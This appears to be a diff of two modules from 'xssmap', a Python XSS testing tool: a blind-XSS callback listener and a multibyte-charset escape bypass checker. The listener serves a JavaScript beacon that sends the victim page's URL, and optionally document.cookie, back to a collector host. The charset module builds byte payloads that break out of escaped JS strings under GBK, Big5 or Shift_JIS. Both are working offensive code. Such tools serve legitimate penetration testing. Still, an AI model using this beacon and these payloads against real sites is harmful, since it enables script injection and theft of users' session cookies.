xssmap 2.8.0__py3-none-any.whl

xssmap/callback.py

@@ -0,0 +1,161 @@
+"""Out-of-band callback listener for blind XSS.
+
+Blind XSS is the case where the payload is stored on the target but rendered
+somewhere the tester cannot see: an admin inbox, a moderation queue, a log
+viewer. Reflection checks are useless there, because the page that executes the
+payload is not the page that stored it.
+
+The proof has to come from the payload itself calling home. This module is a
+tiny HTTP listener that does exactly that:
+
+* ``GET /b.js?m=<marker>`` serves a one-line beacon that immediately requests
+  ``/hit?m=<marker>`` with the victim's URL, so a hit proves that a *browser on
+  another page* executed script we planted.
+* ``GET /hit?m=<marker>`` records the hit (marker, URL, user agent, time).
+
+Session cookies are *not* collected unless ``--capture-cookies`` is passed: an
+OOB hit already proves execution, and reading another user's session cookie is a
+much bigger step than proving that script ran. When enabled, one cookie string
+per hit is recorded and the report says so.
+
+Only stdlib, binds to loopback by default, and every hit is timestamped so the
+report can show ordering (planted at T0, executed at T1).
+"""
+from __future__ import annotations
+
+import threading
+import time
+import urllib.parse
+from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
+
+# %s, not str.format: the IIFE braces would be parsed as format fields.
+BEACON_JS = (
+    "(function(){var m=%s;var u=encodeURIComponent(location.href);"
+    "var i=new Image();i.src='/hit?m='+m+'&u='+u+'&c='+encodeURIComponent(%s);})();"
+)
+COOKIE_EXPR = "document.cookie"
+EMPTY_EXPR = "''"
+
+
+class _Handler(BaseHTTPRequestHandler):
+    server_version = "xssmap-callback"
+
+    def log_message(self, fmt, *args):  # silence the default stderr chatter
+        pass
+
+    def _plain(self, code: int, body: bytes, ctype: str = "text/plain") -> None:
+        self.send_response(code)
+        self.send_header("Content-Type", ctype)
+        self.send_header("Content-Length", str(len(body)))
+        self.send_header("Cache-Control", "no-store")
+        self.end_headers()
+        try:
+            self.wfile.write(body)
+        except Exception:
+            pass
+
+    def do_GET(self):
+        parsed = urllib.parse.urlsplit(self.path)
+        query = urllib.parse.parse_qs(parsed.query)
+        marker = (query.get("m") or [""])[0][:120]
+        listener: CallbackListener = self.server.listener  # type: ignore[attr-defined]
+
+        if parsed.path.rstrip("/").endswith("b.js"):
+            body = listener.beacon(marker).encode()
+            listener.record(marker, self.path, self.headers.get("User-Agent", ""),
+                            urllib.parse.unquote((query.get("u") or [""])[0]),
+                            kind="script")
+            self._plain(200, body, "application/javascript")
+            return
+
+        listener.record(marker, self.path, self.headers.get("User-Agent", ""),
+                        urllib.parse.unquote((query.get("u") or [""])[0]),
+                        kind="hit", cookie=(query.get("c") or [""])[0][:200])
+        self._plain(200, b"ok")
+
+    def do_POST(self):
+        length = int(self.headers.get("Content-Length") or 0)
+        body = self.rfile.read(min(length, 65536)) if length else b""
+        listener: CallbackListener = self.server.listener  # type: ignore[attr-defined]
+        listener.record("", self.path, self.headers.get("User-Agent", ""),
+                        body[:400].decode("utf-8", "replace"), kind="post")
+        self._plain(200, b"ok")
+
+
+class CallbackListener:
+    """Loopback HTTP listener that records payload call-backs."""
+
+    def __init__(self, host: str = "127.0.0.1", port: int = 0, log=None,
+                 capture_cookies: bool = False, public_url: str = ""):
+        self.host = host
+        self.port = port
+        self.log = log
+        self.capture_cookies = capture_cookies
+        # The address to embed in payloads can differ from the bind address
+        # (tunnel, port-forward, container network). Empty means "use the
+        # host:port the listener actually bound".
+        self.public_url = (public_url or "").strip().rstrip("/")
+        self.hits: list[dict] = []
+        self._lock = threading.Lock()
+        self._httpd: ThreadingHTTPServer | None = None
+        self._thread: threading.Thread | None = None
+
+    # -- lifecycle -----------------------------------------------------
+    def start(self) -> CallbackListener:
+        httpd = ThreadingHTTPServer((self.host, self.port), _Handler)
+        httpd.daemon_threads = True
+        httpd.listener = self  # type: ignore[attr-defined]
+        self.port = httpd.server_address[1]
+        self._httpd = httpd
+        self._thread = threading.Thread(target=httpd.serve_forever, daemon=True,
+                                        name="xssmap-callback")
+        self._thread.start()
+        return self
+
+    def stop(self) -> None:
+        if self._httpd is not None:
+            try:
+                self._httpd.shutdown()
+                self._httpd.server_close()
+            except Exception:
+                pass
+        self._httpd = None
+
+    @property
+    def url(self) -> str:
+        if self.public_url:
+            return self.public_url
+        return f"http://{self.host}:{self.port}"
+
+    def beacon(self, marker: str) -> str:
+        """Beacon script for one marker; cookie capture is opt-in."""
+        expr = COOKIE_EXPR if self.capture_cookies else EMPTY_EXPR
+        return BEACON_JS % (repr(marker or ""), expr)
+
+    # -- recording -----------------------------------------------------
+    def record(self, marker: str, path: str, agent: str, victim_url: str,
+               kind: str = "hit", cookie: str = "") -> None:
+        entry = {"marker": marker, "path": path[:200], "agent": agent[:160],
+                 "victim_url": victim_url[:300], "kind": kind,
+                 "at": time.strftime("%H:%M:%S"), "cookie": cookie}
+        with self._lock:
+            self.hits.append(entry)
+        if self.log is not None:
+            try:
+                self.log.ok(f"callback {kind}: marker {marker or '-'} from "
+                            f"{victim_url or agent[:60] or 'unknown'}")
+            except Exception:
+                pass
+
+    def seen(self, marker: str) -> list[dict]:
+        with self._lock:
+            return [h for h in self.hits if marker and h["marker"] == marker]
+
+    def wait_for(self, marker: str, timeout: float = 6.0) -> dict | None:
+        deadline = time.time() + timeout
+        while time.time() < deadline:
+            found = self.seen(marker)
+            if found:
+                return found[0]
+            time.sleep(0.15)
+        return None

xssmap/charset.py

@@ -0,0 +1,117 @@
+"""Multibyte charset escaping bypasses (GBK, Big5, Shift_JIS).
+
+Backslash-escaping assumes one byte is one character. In a multibyte encoding
+it is not: a lead byte followed by ``0x5C`` is a single character, so an escape
+routine that turns ``'`` into ``\\'`` produces a byte sequence the database (or
+the template engine) decodes as *one character followed by a bare quote*. The
+quote closes the string the developer thought was protected.
+
+The canonical case is the Java/MySQL ``SET NAMES gbk`` bug: the input
+``0xBF 0x27`` is escaped to ``0xBF 0x5C 0x27``, which decodes as ``縗`` + ``'``.
+
+Detecting this needs bytes, not text: the check is whether ``lead + 0x5C``
+decodes to exactly one character under the page's declared charset, and whether
+a quote and the injected code follow it. A page that escapes correctly (or
+escapes twice, or never decodes as that charset) fails the test.
+"""
+from __future__ import annotations
+
+import re
+from dataclasses import dataclass
+
+_CHARSET_PARAM_RE = re.compile(r"charset\s*=\s*[\"']?\s*([\w.:-]+)", re.I)
+_META_CHARSET_RE = re.compile(rb"<meta[^>]+charset\s*=\s*[\"']?\s*([a-z0-9_.:-]+)", re.I)
+
+
+@dataclass(frozen=True)
+class Family:
+    """One multibyte encoding that can swallow an escape byte."""
+
+    name: str
+    codec: str
+    lead: bytes           # lead byte that consumes a following 0x5C
+    aliases: tuple[str, ...]
+    note: str
+
+
+FAMILIES: tuple[Family, ...] = (
+    Family("GBK", "gbk", b"\xbf",
+           ("gbk", "gb2312", "gb_2312-80", "gb18030", "cp936", "x-gbk", "euc-cn"),
+           "GBK/GB2312/GB18030 (0xBF 0x5C is one character)"),
+    Family("Big5", "big5", b"\xa1",
+           ("big5", "big5-hkscs", "cp950", "x-x-big5"),
+           "Big5 (0xA1 0x5C is one character)"),
+    Family("Shift_JIS", "shift_jis", b"\x81",
+           ("shift_jis", "shift-jis", "sjis", "x-sjis", "windows-31j", "cp932", "ms_kanji"),
+           "Shift_JIS (0x81 0x5C is one character)"),
+)
+
+BY_NAME = {alias: family for family in FAMILIES for alias in family.aliases}
+
+
+def family_for(charset: str | None) -> Family | None:
+    """Map a charset label to the multibyte family it belongs to."""
+    if not charset:
+        return None
+    return BY_NAME.get(charset.strip().strip("\"'").lower())
+
+
+def detect(content_type: str | None, body: bytes = b"") -> Family | None:
+    """Find the response charset from the header, then from a <meta> tag."""
+    match = _CHARSET_PARAM_RE.search(content_type or "")
+    if match:
+        family = family_for(match.group(1))
+        if family:
+            return family
+    meta = _META_CHARSET_RE.search(body[:4096])
+    if meta:
+        return family_for(meta.group(1).decode("ascii", "ignore"))
+    return None
+
+
+def pair_is_one_character(family: Family, lead: bytes, trail: bytes = b"\\") -> bool:
+    """Does ``lead + trail`` decode to a single character in this encoding?"""
+    try:
+        decoded = (lead + trail).decode(family.codec)
+    except (UnicodeDecodeError, LookupError):
+        return False
+    return len(decoded) == 1
+
+
+def escape_observed(body: bytes, quote: bytes = b"'") -> bool:
+    """Did the application backslash-escape the quote at all?"""
+    return b"\\" + quote in (body or b"")
+
+
+def probe_bytes(family: Family, js: str) -> bytes:
+    """Bytes that break a single-quoted JS string through the escape byte.
+
+    ``lead`` + ``'`` is escaped to ``lead + \\ + '``; that pair decodes to one
+    character, so ``'`` terminates the string, ``;`` starts our statement and
+    the trailing ``//`` comments out whatever the template appended.
+    """
+    return family.lead + b"';" + js.encode("ascii", "ignore") + b"//"
+
+
+def bypass_in_body(body: bytes, family: Family, js_head: bytes = b"document.") -> bool:
+    """Is the escaped quote decoded as a bare quote followed by our code?
+
+    Requires the exact byte pattern the probe produces after escaping:
+    ``lead 0x5C 0x27 ;`` -- and that ``lead 0x5C`` really is one character in
+    the declared encoding. Anything else (double escaping, utf-8, quote
+    stripping) fails the check.
+    """
+    needle = family.lead + b"\\';"
+    body = body or b""
+    index = body.find(needle)
+    while index != -1:
+        if pair_is_one_character(family, family.lead):
+            tail = body[index + len(needle):index + len(needle) + len(js_head)]
+            if tail == js_head:
+                return True
+        index = body.find(needle, index + 1)
+    return False
+
+
+def describe(family: Family) -> str:
+    return f"{family.name} ({family.note})"